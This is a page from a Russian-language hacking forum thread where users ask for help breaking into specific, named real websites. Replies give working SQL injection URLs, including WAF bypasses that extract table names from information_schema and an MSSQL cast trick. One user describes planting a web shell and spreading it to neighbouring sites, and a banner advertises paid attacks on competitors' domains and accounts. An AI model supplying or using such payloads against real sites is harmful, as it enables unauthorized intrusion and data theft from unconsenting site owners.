Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1905 из 2438

1905

Опции темы

Поиск в этой теме

Опции просмотра

#19041

29.12.2011, 20:44

lightangel

Познающий

Регистрация: 07.11.2011

Сообщений: 91

С нами: 7638806

Репутация: -6

Код:

http://ogra.org.pk/cats_disp.php?cat=-172

It has 8 order by.

I cannot get tables.

It's WAF and I've tried all my WAF skills.

#19042

29.12.2011, 21:33

smirk

Участник форума

Регистрация: 08.09.2011

Сообщений: 137

С нами: 7725206

Репутация: 26

Цитата:

Сообщение от lightangel

Код:

http://ogra.org.pk/cats_disp.php?cat=-172

It has 8 order by.
I cannot get tables.
It's WAF and I've tried all my WAF skills.

http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,version(),7,8--+

#19043

29.12.2011, 23:25

lightangel

Познающий

Регистрация: 07.11.2011

Сообщений: 91

С нами: 7638806

Репутация: -6

Sorry, I mean tables and not the version.

I already had the version.

#19044

29.12.2011, 23:37

Konqi

Постоянный

Регистрация: 24.06.2009

Сообщений: 542

С нами: 8885780

Репутация: 672

http://ogra.org.pk//cats_disp.php?cat=-20+/*!union*/+select+1,2,3,4,5,/*!table_name*/,7,8/**//*!from*//**/information_schema.%60tables%60--+

=\

#19045

30.12.2011, 00:27

shadowrun

Постоянный

Регистрация: 29.08.2010

Сообщений: 842

С нами: 8265206

Репутация: 84

http://www.traktora.com.ua/subcat.php?sort=1

Можно что-то выжать?

#19046

30.12.2011, 00:44

d1v

Новичок

Регистрация: 21.02.2009

Сообщений: 3

С нами: 9061916

Репутация: 0

Цитата:

Сообщение от shadowrun

http://www.traktora.com.ua/subcat.php?sort=1
Можно что-то выжать?

можно, но из другого скрипта:

http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--

#19047

30.12.2011, 00:46

shadowrun

Постоянный

Регистрация: 29.08.2010

Сообщений: 842

С нами: 8265206

Репутация: 84

Цитата:

Сообщение от d1v

можно, но из другого скрипта:
http://www.traktora.com.ua/catalog.php?cat=-2+union+select+version()--

Спасибо!

#19048

30.12.2011, 11:07

jangle

Познающий

Регистрация: 19.11.2006

Сообщений: 32

С нами: 10249722

Репутация: 5

MSSQL INJ

Цитата:

Сообщение от None

-12+union+select+@@version--

дает ответ

Цитата:

Сообщение от None

Microsoft SQL Native Client error '80040e14'
The ntext data type cannot be selected as DISTINCT because it is not comparable.

Возможно ли обойти DISTINCT в инъекции путем конверта или еще как то?

Спасибо

#19049

30.12.2011, 11:26

Ereee

Постоянный

Регистрация: 01.12.2011

Сообщений: 560

С нами: 7604246

Репутация: 267

Цитата:

Сообщение от jangle

MSSQL INJ
дает ответ
Возможно ли обойти
DISTINCT
в инъекции путем конверта или еще как то?
Спасибо

Select DISTINCT cast (Your Col Name as NVARCHAR(MAX))

#19050

30.12.2011, 11:29

DyukiN

Участник форума

Регистрация: 10.07.2011

Сообщений: 252

С нами: 7811606

Репутация: 21

залил шелл на один сайт, потом решил залить на соседние сайты, все норм задивается но файл не находит, другие файлы с этой директории читает кроме моих, как можно решить проблему?

Страница 1905 из 2438

1905

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка